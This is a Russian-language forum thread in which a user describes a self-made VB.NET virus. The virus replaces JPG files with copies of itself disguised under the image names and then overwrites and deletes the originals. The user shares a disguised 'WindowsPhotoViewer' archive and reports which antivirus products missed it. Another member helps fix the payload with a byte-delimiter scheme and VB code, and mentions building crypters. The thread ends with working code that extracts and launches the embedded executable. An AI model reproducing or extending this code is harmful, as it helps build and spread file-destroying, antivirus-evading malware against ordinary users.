• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Вопрос Вирус, заражающий jpg файлы (visual basic.NET)


Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
260
Репутация
141
Вот набросал небольшой вирус, заражающий jpg файлы. При запуске вирус ищет файлы по маске *.jpg и копирует себя в каталог с тем же именем что и сам jpg файл, затем присоединяет массив байт jpg файла в конец, чтобы вес изменился. Потом затирает оригинальный jpg и удаляет его.
Дело в том, что при последующих открытиях уже заражённых файлов вес не заражённых увеличивается в много раз, иногда доходит до 100 мб. Как сделать так чтобы при открытии зараженного файла извлекался сам вирус, а не тоскал с собой 10 мб других jpg файлов.
1550913233599.png
P.S Код написан в Visual Studio 2017
И кстати, вся суть заключалось в том, чтобы проверить некоторые антивирусы. На VirusTotal не заливал, проверял в "домашних условиях". Создавал 5-10 виртуальных машин и в каждой разный антивирь.
DrWeb, AVAST, ESET, Bit-Defender, Avira, 360 Security, Ad-aware, Panda НЕ ОТРЕАГИРОВАЛИ. Спалил только Kaspersky
 

Вложения

  • WindowsPhotoViewer.rar
    266.9 КБ · Просмотры: 13
Последнее редактирование:

virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
Как вариант, вам нужно сделать "разделитель", между "самим вирусом" и картинкой.

Сделать это можно следующим образом:

1-й способ:

Вы-же всё-равно постоянно считываете сами-себя, так и добавьте например в последние четыре байт исходного вируса флаг-разделитель, например число 0xDEADBEEF.

Далее считываете сами себя, пока не нашли разделитель 0xDEADBEEF, это будет означать, что дальше идет уже картинка и её копировать не нужно...

2-й способ:

Более простой, вы-же знаете размер исходного вируса, но считывайте это число байт. Но не рекомендуется, т.к. после каждой перекомпиляции, размер может меняться и вам придется каждый-раз делать это в коде...:(
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
260
Репутация
141
Как вариант, вам нужно сделать "разделитель", между "самим вирусом" и картинкой
Я так понял, нужно сначала считать файл с помощью FileStream, считать байты себя, потом байты картинки, затем записать по байтам
вирус + разделитель + картинка. Но как правильно это реализовать?
 

virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
Да вы всё правильно поняли, как реализовать ?

К сожалению бейсик незнаю, но для интереса глянул код, немного подскажу, так вот:

В переменную BytesExeFileFull считали сами себя:
Код:
Dim BytesExeFileFull As Byte() = File.ReadAllBytes(Environ("HOMEDRIVE") + "\" + Folder1 + "\" + MyExeFile + ".tmp")

Далее можно создать переменную Dim BytesExeFile As Byte() и заполняем его примерно так:
Код:
For ctr As Integer = 0 To Ubound(BytesExeFileFull)
If BytesExeFileFull(ctr)=0xDE and BytesExeFileFull(ctr+1)=0xAD and  BytesExeFileFull(ctr+2)=0xBE and  BytesExeFileFull(ctr+3)=0xEF  Then
exit for
Else
BytesExeFile(ctrl) = BytesExeFileFul(ctrl)

Короче в цикле, пока Ubound(BytesExeFileFull) - размер массива (хз. как получить в бейсике), проверяем на разделитель, как-только нашли разделитель, то выходим из цикла, иначе заполняем массив BytesExeFile, в итоге у нас будет как-раз нужный массив, без картинки, ну и работаем с ним.

Когда-же нужно создать нужный файл, то просто нужно добавить разделитель, между файлом и картинкой:
Код:
            'создаем копию самого себя с идентичным именем jpg файла jpg, там где он лежит
            File.WriteAllBytes(jpgDir + "\" + jpgName + ".exe", BytesExeFile)
         
            'Записываем разделитель'
             Dim BytesKey As Byte() = {0xDE,0xAD,0xBE,0xEF}
             My.Computer.FileSystem.WriteAllBytes(jpgDir + "\" + jpgName + ".exe", BytesKey, True)

            'дозаписываем байты того jpg файла в наш файл
            My.Computer.FileSystem.WriteAllBytes(jpgDir + "\" + jpgName + ".exe", BytesJpgFile, True)

Как-то так примерно, код скорей-всего не рабочий, не проверял, как концепт, по быстрому накидал, минуты за две...)
 
Последнее редактирование:

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
260
Репутация
141
For ctr As Integer = 0 To Ubound(BytesExeFileFull) If BytesExeFileFull(ctr)=0xDE and BytesExeFileFull(ctr+1)=0xAD and BytesExeFileFull(ctr+2)=0xBE and BytesExeFileFull(ctr+3)=0xEF Then exit for Else BytesExeFile(ctrl) = BytesExeFileFul(ctrl)
В принципе, алгоритм понятен, но нужно каким то образом ещё нужно записывать в переменную считанные байты до разделителя, если его нет, то считываем в массив байты полностью, затем всё в файл. А здесь переменная ctr в цикле нахождения разделителя принимает числа, а преобразовать её не получается. Придется продолжать поиски, что-то типа FileStream.Read или BinaryReader.

PS Как записать разделитель между собой и картинкой это понятно, а вот как прочитать и записать себя в массив до разделителя - вот это вопрос

Ну, если уж ничего не накопаю, то придется перейти ко второму методу - объявить константу байт самого себя
 

virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
А здесь переменная ctr в цикле нахождения разделителя принимает числа, а преобразовать её не получается. Придется продолжать поиски, что-то типа FileStream.Read или BinaryReader.
Ну тут идея такая, что-бы не менять то-что сделано, вы считываете всё в первый массив байт BytesExeFileFull, а потом из этого массива делаете уже другой массив BytesExeFile, который уже без картинки...

Да идея может-быть не эллегантная, но файлики небольшие, каких-то проблем с памятью быть не должно...

Вообще я бейсик незнаю, как писал уже, возможно что-то неправильно написал, короче проще (можете вначале даже на этом примере поотлаживать).

Допустим есть массив (Считайте, что это файл + разделитель + картинка), для простаты разделитель у нас будет 0x55 0xAA, короче два байта, итак наш массив:

Dim BytesExeFileFull As Byte() = {0x01,0x02,0x03, 0x55,0xAA, 0x11,0x12,0x13 }

Итого:

Файл данных, такой массив:0x01,0x02,0x03
Разделитель:0x55,0xAA
Картинка: 0x11,0x12,0x13

Вам и нужно написать такую программу, которая получит массив файла.

Ну я и привёл пример цикла:
Код:
For ctr As Integer = 0 To Ubound(BytesExeFileFull)
If ctr != Ubound(BytesExeFileFull)
If BytesExeFileFull(ctr)=0x55 and BytesExeFileFull(ctr+1)=0xAA Then
exit for
Else
BytesExeFile(ctrl) = BytesExeFileFul(ctrl)

ctrl - Это индекс массива:
Т.е.:

BytesExeFileFull(0) = 0x01;
BytesExeFileFull(1) = 0x02;

*****
Или в бейсики нетак ? Нужно тогда получить доступ к индексу массива...

Кстати на переполнение надо-бы проверить:If ctr != Ubound(BytesExeFileFull) иначе прога может упасть из-за выхода за границы массива, хе-хе...)

В общем примерно похожим образом работают и крипторы, единственное там алгоритмы шифрования, запуск в памяти и т.д., что нетак и важно, если научитесь эту задачу делать, потом можете и крипторы штамповать....)

Хотя смысла сейчас в них особо нет.)
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
260
Репутация
141
В общем, я перешёл ко 2-му методу: объявить оригинальный размер файла и сравнивать с собой. Если он больше оригинала, извлекаем только оригинальные байты в другой файл и запускаем.

Короче вот код:

Код:
Dim MyTmpFile As String = Environ("HOMEDRIVE") + "\" + Folder1 + "\" + MyExeFile + ".tmp"

        'Узнаем длину самого себя
        Dim MyExeLength As New FileInfo(MyTmpFile)
        'Если она больше оригинала, то считываем первые байты оригинала, всё остальное - картинка
        If MyExeLength.Length <> 23040 Then
            Dim myFileStream As System.IO.FileStream
            myFileStream = New System.IO.FileStream(MyTmpFile, IO.FileMode.Open)
            Dim myBinaryReader As New System.IO.BinaryReader(myFileStream)
            Dim bData() As Byte = myBinaryReader.ReadBytes(23040)
            File.WriteAllBytes(Path.GetFileNameWithoutExtension(Application.ExecutablePath) + "Org.exe", bData)
            myBinaryReader.Close()
            Process.Start(Path.GetFileNameWithoutExtension(Application.ExecutablePath) + "Org.exe")
            Application.Exit()
        ElseIf MyExeLength.Length = 23040 Then
            GoTo dsktp
        End If

Основная проблема решена. Спасибо за помощь)

Можно теперь ещё, что-нибудь подкрутить, к примеру, извлекать байты картинки в jpg а затем открывать. Ещё раз спасибо)
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
260
Репутация
141
Привет. Я все таки нашел решение как сделать так чтобы настоящая картинка при запуске извлекалась. Нужно было просто отнять число байт виря от того файла где этот вирь сидит.
Код:
Dim bDataFull() As Byte = myBinaryReader.ReadBytes(myFileStream.Length - 24064)
мне вот только пришло это в голову
 
Верх Низ